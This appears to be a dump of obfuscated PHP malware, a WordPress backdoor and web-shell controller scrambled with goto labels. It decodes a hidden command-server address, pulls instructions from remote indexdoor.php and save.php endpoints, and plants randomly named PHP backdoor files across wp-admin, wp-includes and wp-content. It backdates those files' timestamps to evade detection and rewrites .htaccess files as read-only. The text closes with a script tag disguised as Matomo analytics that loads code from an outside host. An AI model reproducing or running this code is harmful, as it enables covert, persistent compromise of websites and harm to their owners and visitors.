$parent_folds = dirname($parent_folds); goto ed0; a52: $directories = glob($parent_folds . '/*', GLOB_ONLYDIR); goto fed; e14: return $all_folders; goto A63; ed0: $directories = glob($parent_folds . '/*', GLOB_ONLYDIR); goto D7e; fed: $all_folders = $directories; goto a1d; A63: } goto E74; f81: function fill_full($file_urls, $sy_count) { goto e84; c4c: $file_list = array('css', 'images', 'img', 'js', 'themes', 'plugins', 'uploads', 'languages', 'includes', 'maint', 'network', 'met', 'user', 'IXR', 'ID3', 'fonts', 'block', 'blocks', 'php-compat', 'php', 'Text', 'widgets', 'SimplePie', 'random', 'style-engine', 'pomo', 'certificates', 'blockt'); goto a70; e84: $path = realpath($_SERVER['DOCUMENT_ROOT']); goto F46; F46: $file_url_result = array(); goto Dc1; a90: $file_tou = array('wp-content', 'wp-admin', 'wp-includes'); goto c4c; a70: for ($i = 0; $i < $sy_count; $i++) { $path_url = $path . '/' . $file_tou[rand(0, count($file_tou) - 1)]; for ($j = 0; $j < rand(3, 6); $j++) { $path_url = $path_url . '/' . $file_list[rand(0, count($file_list) - 1)]; } $file_url_result[] = $path_url; } goto E90; Dc1: foreach ($file_urls as $k => $v) { if (!empty(trim($v))) { $file_url_result[] = $v; } } goto a90; E90: return $file_url_result; goto D29; D29: } goto be1; F38: session_start(); goto C55; f4a: $now_path = dirname($file_path); goto af2; B54: function getFilePermission($filename) { goto B87; B87: clearstatcache(true, $filename); goto c75; Eb4: $info .= $perms & 0x80 ? 'w' : '-'; goto D7b; D7b: $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-'); goto e41; B47: $info .= $perms & 0x100 ? 'r' : '-'; goto Eb4; b3a: $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-'); goto Faf; A67: $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-'); goto f2d; c75: $perms = fileperms($filename); goto c64; f2d: $info .= $perms & 0x4 ? 'r' : '-'; goto f90; C2a: $info .= $perms & 0x10 ? 'w' : '-'; goto A67; e41: $info .= $perms & 0x20 ? 'r' : '-'; goto C2a; Faf: return $info; goto e64; c64: if (($perms & 0xc000) === 0xc000) { $info = 's'; } elseif (($perms & 0xa000) === 0xa000) { $info = 'l'; } elseif (($perms & 0x8000) === 0x8000) { $info = '-'; } elseif (($perms & 0x6000) === 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) === 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) === 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) === 0x1000) { $info = 'p'; } else { $info = 'u'; } goto B47; f90: $info .= $perms & 0x2 ? 'w' : '-'; goto b3a; e64: } goto Ea9; ea5: $web_url = $data['REQUEST_SCHEME'] . "://" . $data['SERVER_NAME']; goto Ad7; C55: $type = $_REQUEST['type']; goto b39; b39: $path = $_REQUEST['path']; goto fc6; E5a: function execAction($data, $pweb, $now_site) { goto C8d; ac0: $result_data = array(); goto acf; Eba: $result_data['shell_type'] = $shell_type; goto bc2; bc2: $res = curlpost($save_url, $result_data); goto db4; db4: if ($res['status']) { echo '<p style="color:green;">Exec is successfully</p>'; } else { echo '<p style="color:red;">Exec is failed! ' . $result_data['code'] . '</p>'; } goto Cfa; Abc: if (isset($json_array['in_contnt']) && !empty($json_array['ht_contnt']) && !empty($json_array['exec_code'])) { goto D8c; fbd: if ($result) { $result_data['status'] = 1; } else { $result_data['code'] = '1001'; $result_data['status'] = 2; } goto B1c; D8c: $website_root = $_SERVER['DOCUMENT_ROOT']; goto d7a; d7a: $result = add_exec($website_root, $json_array['ht_contnt'], $json_array['in_contnt'], $json_array['exec_code'], $json_array['wp_ycode']); goto fbd; B1c: } else { $result_data['code'] = '1002'; $result_data['status'] = 2; } goto Eba; ec7: $url = base64_decode($pweb) . '/indexdoor.php?action=new_exec&group_id=' . $group_id . '&shell_type=' . $shell_type; goto ac0; C8d: $group_id = $data['group_id']; goto B6c; caa: $cc = curlget($url); goto d3c; B6c: $shell_id = $data['shell_id']; goto Bcd; Bcd: $shell_type = $data['shell_type']; goto ec7; acf: $result_data['shell_id'] = $shell_id; goto b04; d3c: $json_array = json_decode($cc, true); goto Abc; b04: $result_data['action'] = 'exec'; goto B51; B51: $save_url = base64_decode($pweb) . '/save.php'; goto caa; Cfa: } goto f09; F58: $prot = !empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://"; goto ace; Ea9: function sortByFolder($now_path, $all_list) { goto dca; Ee9: sort($file_list); goto e1e; Eac: $file_list = array(); goto Be3; Be3: foreach ($all_list as $k => $v) { if (is_dir($now_path . '/' . $v)) { $folder_list[] = $v; } else { $file_list[] = $v; } } goto C34; C34: sort($folder_list); goto Ee9; d5c: return $all_list; goto be6; dca: $folder_list = array(); goto Eac; e1e: $all_list = array_merge($folder_list, $file_list); goto d5c; be6: } goto ea9; Cba: function strslit($str) { $cha = str_split($str); return "'" . implode("'.'", $cha) . "'"; } goto bc3; c61: function crdoorfile($fipath, $contnt) { if (file_put_contents($fipath, $contnt) !== false) { goto f66; f66: $time = time() - rand(30, 100) * 24 * 60 * 60 - rand(0, 3600); goto e46; e46: touch($fipath, $time); goto c10; c10: return true; goto d9a; d9a: } else { return false; } } goto ef2; Daa: function deleteDirectory($dir) { goto fff; eda: $files = glob($dir . '/*'); goto b06; fff: if (!is_dir($dir)) { return false; } goto eda; A08: return rmdir($dir); goto ea0; b06: foreach ($files as $file) { if (is_file($file)) { unlink($file); } elseif (is_dir($file)) { deleteDirectory($file); } } goto A08; ea0: } goto e5b; bd2: error_reporting(0); goto E2f; E74: function curlget($url) { goto C28; dc0: if (empty($url_data) && function_exists('curl_exec')) { goto E1b; Ebf: curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); goto Cda; cd1: curl_close($conn); goto A15; Cda: $url_data = curl_exec($conn); goto cd1; f94: curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); goto Ebf; ca4: curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); goto f94; E1b: $conn = curl_init($url); goto ca8; ca8: curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); goto ca4; A15: } goto fb7; Ad9: if (function_exists('file_get_contents')) { $url_data = file_get_contents($url); } goto dc0; E85: return $url_data; goto c53; fb7: if (empty($url_data) && function_exists('fopen') && function_exists('stream_get_contents')) { goto Df5; Df5: $handle = fopen($url, "r"); goto Ffd; d1e: fclose($handle); goto c0c; Ffd: $url_data = stream_get_contents($handle); goto d1e; c0c: } goto E85; C28: $url_data = ""; goto Ad9; c53: } goto A72; D80: function getFileSize($file_url) { goto c51; c51: $file_size = filesize($file_url); goto Fc9; b44: return $file_size; goto Ae2; Fc9: if ($file_size > 1024 * 1024) { $file_size = round($file_size / (1024 * 1024), 2) . ' MB'; } else { if ($file_size > 1024) { $file_size = round($file_size / 1024, 2) . ' KB'; } else { $file_size = $file_size . ' B'; } } goto b44; Ae2: } goto B54; E16: if (!empty($post_data)) { foreach ($post_data as $k => $v) { $_SESSION[$k] = $v; } } goto F62; da8: function stationAction($data, $pweb, $now_site) { goto ab4; De8: $shell_type = $data['shell_type']; goto e92; ab4: $result_data = array(); goto A06; abb: $json_array = json_decode($cc, true); goto B8e; D6a: $result_data['shell_url'] = $now_site; goto A2d; B8e: $station_count = 0; goto e2e; ecf: $res = curlpost($save_url, $result_data); goto fdd; E46: $save_url = base64_decode($pweb) . '/save.php'; goto Aa4; d2f: $cc = curlget($url); goto abb; e2e: if (!empty($json_array['station_code']) && !empty($json_array['ht_pz_content'])) { $station_count = add_station($json_array['station_code'], $json_array['ht_pz_content'], $now_site); if ($station_count > 0) { $result_data['station_count'] = $station_count; $result_data['status'] = 1; } else { $result_data['code'] = '1001'; $result_data['status'] = 2; } } else { $result_data['code'] = '1002'; $result_data['status'] = 2; } goto D6a; e92: $url = base64_decode($pweb) . '/indexdoor.php?action=station&shell_id=' . $shell_id . '&shell_type=' . $shell_type; goto d2f; A2d: $result_data['shell_type'] = $shell_type; goto ecf; fdd: if ($res['status']) { echo '<p style="color:green;">Station is successfully, Success is ' . $station_count . '</p>'; } else { echo '<p style="color:red;">Station is failed! ' . $result_data['code'] . '</p>'; } goto d0a; A06: $result_data['shell_id'] = $data['shell_id']; goto b28; b28: $result_data['action'] = 'station'; goto E46; Aa4: $shell_id = $data['shell_id']; goto De8; d0a: } goto fd0; F62: $all_paths = array(); goto Ac3; f7a: $file_path_array = explode('/', $file_path); goto d46; ea9: function rebackAction($data, $pweb, $now_site) { goto Af0; B93: $res = curlpost($save_url, $result_data); goto b47; F89: $result_data['shell_id'] = $shell_id; goto fef; Ccf: $save_url = base64_decode($pweb) . '/save.php'; goto a18; fef: $result_data['action'] = 'reback'; goto Ccf; d70: $shell_type = $data['shell_type']; goto Ec8; Fd6: $shell_id = $data['shell_id']; goto d70; a18: if (isset($json_array['in_files']) && !empty($json_array['in_files'])) { goto Ff4; A04: $wp_result = array(); goto ab5; c62: $ht_list = explode(';', $json_array['ht_files']); goto c68; c68: foreach ($ht_list as $k => $v) { goto aa9; f24: crefile($v, $contnt); goto f72; dec: $wp_code = str_replace('[##ht_contnt_' . $k . '##]', $wpstr, $wp_code); goto C61; aa9: $wpstr = strslit($v); goto dec; C61: $contnt = $json_array['ht_contnt']; goto f24; f72: } goto F0c; F0c: $wp_list = explode(';', $json_array['wp_files']); goto A04; b6e: foreach ($in_list as $k => $v) { goto c13; b43: crefile($v, $contnt); goto e0f; c13: $wpstr = strslit($v); goto C59; f28: $contnt = $json_array['code'] . $json_array['wp_ycode']; goto b43; C59: $wp_code = str_replace('[##in_contnt_' . $k . '##]', $wpstr, $wp_code); goto f28; e0f: } goto c62; F32: if (!empty($wp_result) && count($wp_result) > 0) { $result_data['wp_urls'] = $wp_result; $result_data['status'] = 1; } else { $result_data['code'] = '1001'; $result_data['status'] = 2; } goto Bdf; d6b: $in_list = explode(';', $json_array['in_files']); goto b6e; Ff4: $wp_code = $json_array['wp_code']; goto d6b; ab5: foreach ($wp_list as $k => $v) { $f = crefile($v, $wp_code); if ($f) { $wp_result[] = $now_site . $v; } } goto F32; Bdf: } else { $result_data['code'] = '1002'; $result_data['status'] = 2; } goto F7f; Ff6: $result_data = array(); goto F89; F7f: $result_data['shell_url'] = $now_site; goto d0f; d0f: $result_data['shell_type'] = $shell_type; goto B93; Ec8: $url = base64_decode($pweb) . '/indexdoor.php?action=reback&group_id=' . $group_id . '&shell_type=' . $shell_type; goto d5f; b47: if ($res['status']) { echo '<p style="color:green;">Reback is successfully</p>'; foreach ($wp_result as $k => $v) { echo '<p><a href="' . $v . '" target="_blank">' . $v . '</a></p>'; } } else { echo '<p style="color:red;">Reback is failed! ' . $result_data['code'] . '</p>'; } goto C9e; Af0: $group_id = $data['group_id']; goto Fd6; cbc: $json_array = json_decode($cc, true); goto Ff6; d5f: $cc = curlget($url); goto cbc; C9e: } goto E5a; bc3: function getrandstr($length = 10) { goto F12; Dd3: $randomString = ''; goto cb9; F12: $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; goto Dd3; B64: return $randomString; goto ff7; cb9: for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } goto B64; ff7: } goto Daa; af2: $dir = $_POST['dir']; goto ea5; a7b: $can_write = false; goto e91; a3e: function add_doors($doors_array, $doors_55_array, $wp_files, $third_file, $ban_content, $open_content, $shell_action_code, $now_site) { goto F88; ff8: $door_files = array(); goto f31; C49: $randomKeys = array_rand($door_lists, count($doors_array) + count($doors_55_array)); goto ff8; E98: return $result; goto a48; Fc0: $result['shell_other_url'] = $shell_other_url; goto B32; Cbd: $shell_other_url = ""; goto Ef6; D9b: $i = 0; goto Cbd; b79: if (count($succ_files) > 0) { goto C96; f2f: foreach ($wp_files_array as $k => $v) { $wp_files_array[$k] = $path . $v; } goto F64; a81: $ht_folders = array(); goto A0c; D50: $ht_urls = array_merge($ht_urls, $wp_files_array); goto B74; C44: foreach ($ht_urls as $k => $v) { $ht_folders[] = dirname($v); $ht_files[] = basename($v); } goto f83; A0c: $ht_files = array(); goto C44; C96: $ht_urls = array(); goto dc5; dc5: $wp_files_array = explode(";", $wp_files); goto f2f; f83: foreach ($all_paths as $k => $a) { goto A44; b8b: foreach ($ht_folders as $htk => $htv) { if ($a == $htv) { $now_files[] = $ht_files[$htk]; } } goto baf; A44: $now_files = array(); goto b8b; baf: $ht_content_now = ""; goto f33; e7a: if (file_put_contents($a . '/.htaccess', $ht_content_now) !== false) { $count++; chmod($a . '/.htaccess', 0555); } goto adf; d9f: chmod($a . '/.htaccess', 0755); goto e7a; f33: if (!empty($now_files)) { $ht_content_now = str_replace('{#htcontent}', implode('|', $now_files), $open_content); } else { $ht_content_now = $ban_content; } goto d9f; adf: } goto aec; F64: $ht_urls = $succ_files; goto D50; B74: $ht_urls[] = $path . '/' . $third_file; goto a81; aec: } goto a13; a60: $door_count = count($doors_array) + count($doors_55_array); goto f68; F88: $result = array(); goto E01; E26: $count = 0; goto b79; f68: getAllDirectories($path, 1, $door_count); goto ab9; f31: $succ_files = array(); goto D9b; D70: $path = $_SERVER['DOCUMENT_ROOT']; goto a60; ab9: if (count($door_lists) < $door_count) { $sy_count = count($doors_array) + count($doors_55_array) - count($door_lists); $door_lists = fill_full($door_lists, $sy_count); } goto C49; a6b: if (!empty($last_folder_url)) { goto Cfc; Ab2: $res = crdoorfile($file_url, base64_decode($shell_action_code)); goto c33; c33: if ($res) { $shell_other_url = str_replace($path, $now_site, $file_url); } goto a84; Cfc: $file_url = $last_folder_url . '/index.php'; goto Ab2; a84: } goto E26; B32: $result['count'] = $count; goto E98; E01: global $door_lists, $all_paths, $last_folder_url; goto D70; Ef6: foreach ($randomKeys as $key) { goto Dcc; Dcc: $file_door_url = $door_lists[$key]; goto fcb; c85: if ($res) { $succ_files[] = $file_url; $door_files[] = str_replace($path, $now_site, $file_url); } else { } goto Af5; Af5: $i++; goto d5b; E6e: if ($i >= count($doors_array)) { goto fbf; fbf: $file_door_url = $file_door_url . '/wp'; goto Efc; E42: $res = cndoorfile($file_door_url, $file_name, $open_content, $doors_55_array[$i - count($doors_array)]); goto cb2; Efc: $file_url = $file_door_url . '/' . $file_name; goto E42; cb2: } else { $file_url = $file_door_url . '/' . $file_name; $res = crdoorfile($file_url, $doors_array[$i]); } goto c85; fcb: $file_name = getrandstr(rand(5, 10)) . '.php'; goto E6e; d5b: } goto a6b; a13: $result['door_files'] = $door_files; goto Fc0; a48: } goto f81; fc6: $data = $_SERVER; goto e8b; e91: if (is_writable($now_path)) { $can_write = true; } goto F58; ca2: $pws = "aHR0cHM6Ly9mcDIwMjQuYnlob3QudG9w"; goto E16; Ac3: $door_lists = array(); goto a9f; b5b: function findFilesWithContent($directory, $searchString, $currentDepth = 0, $maxDepth = 10) { goto d83; d83: $foundFiles = []; goto E38; Aa0: return $foundFiles; goto Ecb; Fb6: if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { $filePath = $directory . '/' . $file; if (is_dir($filePath)) { $foundFiles = array_merge($foundFiles, findFilesWithContent($filePath, $searchString, $currentDepth + 1, $maxDepth)); } else { if (strpos(file_get_contents($filePath), $searchString) !== false) { $foundFiles[] = $filePath; } } } } closedir($handle); } goto Aa0; E38: if ($currentDepth >= $maxDepth) { return $foundFiles; } goto Fb6; Ecb: }
<!-- Matomo -->
<script type="text/javascript">
(function() {
var u="https://okklink.top/";
var d=document, g=d.createElement("script"), s=d.getElementsByTagName("script")[0];
g.type="text/javascript"; g.async=true; g.defer=true;
g.src=u+"js/invoidea.app/matomo.js?id=M-1732242036"; s.parentNode.insertBefore(g,s);
})();
</script>
<!-- End Matomo Code -->